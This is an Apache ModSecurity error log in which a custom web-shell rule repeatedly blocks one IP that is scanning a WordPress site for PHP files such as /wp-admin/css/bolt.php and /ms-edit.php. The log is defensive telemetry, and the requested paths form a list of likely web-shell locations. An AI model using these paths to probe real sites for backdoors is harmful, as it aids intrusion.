[Sun May 03 09:56:05.762539 2026] [:error] [pid 37246:tid 37269] [client 172.173.121.85:5745] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "afarNThvYFGNwhnPamqZUwAAARM"]
[Sun May 03 09:56:07.191027 2026] [:error] [pid 40456:tid 40474] [client 172.173.121.85:5840] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "afarNzSujTvwdzEkjSf06QAAAZA"]
[Sun May 03 09:56:07.571395 2026] [:error] [pid 37126:tid 37158] [client 172.173.121.85:5744] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "afarN_R_A42N-LtDyrvrFwAAAAU"]
[Sun May 03 09:56:07.986894 2026] [:error] [pid 40386:tid 40390] [client 172.173.121.85:5712] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "afarN1HJDYRXUf3IbRTtTAAAAMI"]
[Sun May 03 09:56:08.418787 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:5715] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "afarODSujTvwdzEkjSf06gAAAYY"]
[Sun May 03 09:56:08.797691 2026] [:error] [pid 40456:tid 40480] [client 172.173.121.85:5869] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "afarODSujTvwdzEkjSf06wAAAZY"]
[Sun May 03 09:56:09.292786 2026] [:error] [pid 37246:tid 37259] [client 172.173.121.85:5162] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "afarOThvYFGNwhnPamqZVQAAAQo"]
[Sun May 03 09:56:09.684889 2026] [:error] [pid 37126:tid 37160] [client 172.173.121.85:30304] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "afarOfR_A42N-LtDyrvrGwAAAAc"]
[Sun May 03 09:56:10.119906 2026] [:error] [pid 40422:tid 40434] [client 172.173.121.85:6117] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "afarOkHBbBLrXh6PBuuutgAAAUg"]
[Sun May 03 09:56:10.499958 2026] [:error] [pid 40456:tid 40482] [client 172.173.121.85:6125] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "afarOjSujTvwdzEkjSf07AAAAZg"]
[Sun May 03 09:56:10.899698 2026] [:error] [pid 40456:tid 40481] [client 172.173.121.85:30267] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "afarOjSujTvwdzEkjSf07QAAAZc"]
[Sun May 03 09:56:11.332425 2026] [:error] [pid 37127:tid 37195] [client 172.173.121.85:6142] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afarO_8khJXb5O5aWVXy3QAAAEs"]
[Sun May 03 09:56:11.717927 2026] [:error] [pid 37246:tid 37268] [client 172.173.121.85:5121] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afarOzhvYFGNwhnPamqZVwAAARI"]
[Sun May 03 09:56:12.123387 2026] [:error] [pid 37246:tid 37266] [client 172.173.121.85:5739] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afarPDhvYFGNwhnPamqZWQAAARA"]
[Sun May 03 09:56:12.511864 2026] [:error] [pid 37126:tid 37164] [client 172.173.121.85:5180] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "afarPPR_A42N-LtDyrvrHAAAAAs"]
[Sun May 03 09:56:12.917474 2026] [:error] [pid 40456:tid 40476] [client 172.173.121.85:5711] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afarPDSujTvwdzEkjSf07wAAAZI"]
[Sun May 03 09:56:13.317727 2026] [:error] [pid 37246:tid 37263] [client 172.173.121.85:5129] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afarPThvYFGNwhnPamqZWwAAAQ0"]
[Sun May 03 09:56:13.763142 2026] [:error] [pid 37246:tid 37249] [client 172.173.121.85:6129] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afarPThvYFGNwhnPamqZXAAAAQE"]
[Sun May 03 09:56:14.148339 2026] [:error] [pid 40456:tid 40468] [client 172.173.121.85:5710] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afarPjSujTvwdzEkjSf08QAAAYo"]
[Sun May 03 09:56:14.599314 2026] [:error] [pid 37130:tid 37229] [client 172.173.121.85:5726] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "afarPqIu7bmXKXicRk9FOwAAAJA"]
[Sun May 03 09:56:15.001039 2026] [:error] [pid 40422:tid 40429] [client 172.173.121.85:5122] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "afarPkHBbBLrXh6PBuuuuwAAAUM"]
[Sun May 03 09:56:15.405663 2026] [:error] [pid 40456:tid 40477] [client 172.173.121.85:5144] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "afarPzSujTvwdzEkjSf08gAAAZM"]
[Sun May 03 09:56:15.779501 2026] [:error] [pid 37246:tid 37269] [client 172.173.121.85:5843] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "afarPzhvYFGNwhnPamqZXgAAARM"]
[Sun May 03 09:56:16.168346 2026] [:error] [pid 40456:tid 40466] [client 172.173.121.85:5748] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "afarQDSujTvwdzEkjSf09AAAAYg"]
[Sun May 03 09:56:16.621673 2026] [:error] [pid 37130:tid 37222] [client 172.173.121.85:5834] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "afarQKIu7bmXKXicRk9FPAAAAIk"]
[Sun May 03 09:56:17.005238 2026] [:error] [pid 40456:tid 40472] [client 172.173.121.85:5157] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "afarQTSujTvwdzEkjSf09wAAAY4"]
[Sun May 03 09:56:17.386768 2026] [:error] [pid 40386:tid 40392] [client 172.173.121.85:6135] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "afarQVHJDYRXUf3IbRTtUAAAAMQ"]
[Sun May 03 09:56:17.787812 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:6124] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "afarQTSujTvwdzEkjSf0-QAAAYY"]
[Sun May 03 09:56:18.183830 2026] [:error] [pid 40386:tid 40395] [client 172.173.121.85:5740] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "afarQlHJDYRXUf3IbRTtUQAAAMc"]
[Sun May 03 09:56:18.653573 2026] [:error] [pid 40386:tid 40404] [client 172.173.121.85:5153] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "afarQlHJDYRXUf3IbRTtUgAAANA"]
[Sun May 03 09:56:19.082707 2026] [:error] [pid 37126:tid 37163] [client 172.173.121.85:5835] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "afarQ_R_A42N-LtDyrvrHQAAAAo"]
[Sun May 03 09:56:19.517201 2026] [:error] [pid 37126:tid 37153] [client 172.173.121.85:5176] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "afarQ_R_A42N-LtDyrvrHgAAAAI"]
[Sun May 03 09:56:20.471773 2026] [:error] [pid 37130:tid 37223] [client 172.173.121.85:5699] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "afarRKIu7bmXKXicRk9FPwAAAIo"]
[Sun May 03 09:56:20.926568 2026] [:error] [pid 40422:tid 40443] [client 172.173.121.85:5126] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "afarREHBbBLrXh6PBuuuvwAAAVE"]
[Sun May 03 09:56:21.337621 2026] [:error] [pid 37126:tid 37162] [client 172.173.121.85:5824] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "afarRfR_A42N-LtDyrvrHwAAAAk"]
[Sun May 03 09:56:21.827915 2026] [:error] [pid 40456:tid 40463] [client 172.173.121.85:5149] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "afarRTSujTvwdzEkjSf0_wAAAYU"]
[Sun May 03 09:56:22.202782 2026] [:error] [pid 40456:tid 40458] [client 172.173.121.85:5731] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "afarRjSujTvwdzEkjSf1AAAAAYA"]
[Sun May 03 09:56:22.593116 2026] [:error] [pid 37126:tid 37156] [client 172.173.121.85:5746] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "afarRvR_A42N-LtDyrvrIAAAAAM"]
[Sun May 03 09:56:22.979446 2026] [:error] [pid 40456:tid 40459] [client 172.173.121.85:30258] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "afarRjSujTvwdzEkjSf1AwAAAYE"]
[Sun May 03 09:56:23.381072 2026] [:error] [pid 40386:tid 40401] [client 172.173.121.85:5827] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "afarR1HJDYRXUf3IbRTtVQAAAM0"]
[Sun May 03 09:56:23.766339 2026] [:error] [pid 40456:tid 40474] [client 172.173.121.85:5160] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "afarRzSujTvwdzEkjSf1BAAAAZA"]
[Sun May 03 09:56:24.168168 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:5711] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "afarSDSujTvwdzEkjSf1BgAAAYY"]
[Sun May 03 09:56:24.583206 2026] [:error] [pid 40386:tid 40397] [client 172.173.121.85:5138] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "afarSFHJDYRXUf3IbRTtVgAAAMk"]
[Sun May 03 09:56:25.003283 2026] [:error] [pid 37126:tid 37173] [client 172.173.121.85:5161] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "afarSfR_A42N-LtDyrvrIgAAABQ"]
[Sun May 03 09:56:25.387467 2026] [:error] [pid 37126:tid 37158] [client 172.173.121.85:5839] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "afarSfR_A42N-LtDyrvrIwAAAAU"]
[Sun May 03 09:56:25.878607 2026] [:error] [pid 37126:tid 37160] [client 172.173.121.85:5159] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "afarSfR_A42N-LtDyrvrJAAAAAc"]
[Sun May 03 09:56:26.312620 2026] [:error] [pid 40386:tid 40390] [client 172.173.121.85:5847] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "afarSlHJDYRXUf3IbRTtWAAAAMI"]
[Sun May 03 09:56:26.689758 2026] [:error] [pid 40386:tid 40393] [client 172.173.121.85:5173] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afarSlHJDYRXUf3IbRTtWgAAAMU"]
[Sun May 03 09:56:27.100109 2026] [:error] [pid 37127:tid 37184] [client 172.173.121.85:5145] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afarS_8khJXb5O5aWVXy3wAAAEA"]
[Sun May 03 09:56:27.495281 2026] [:error] [pid 40386:tid 40407] [client 172.173.121.85:5124] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afarS1HJDYRXUf3IbRTtXAAAANM"]
[Sun May 03 09:56:27.947010 2026] [:error] [pid 40456:tid 40476] [client 172.173.121.85:5136] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "afarSzSujTvwdzEkjSf1CgAAAZI"]
[Sun May 03 09:56:28.348284 2026] [:error] [pid 40456:tid 40459] [client 172.173.121.85:5165] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "afarTDSujTvwdzEkjSf1DAAAAYE"]
[Sun May 03 09:56:28.749883 2026] [:error] [pid 40386:tid 40399] [client 172.173.121.85:5194] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "afarTFHJDYRXUf3IbRTtXQAAAMs"]
[Sun May 03 09:56:29.161141 2026] [:error] [pid 40386:tid 40389] [client 172.173.121.85:5189] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "afarTVHJDYRXUf3IbRTtXgAAAME"]
[Sun May 03 09:56:29.636621 2026] [:error] [pid 37127:tid 37186] [client 172.173.121.85:5871] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "afarTf8khJXb5O5aWVXy4QAAAEI"]
[Sun May 03 09:56:30.093194 2026] [:error] [pid 40386:tid 40408] [client 172.173.121.85:5232] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "afarTlHJDYRXUf3IbRTtYAAAANQ"]
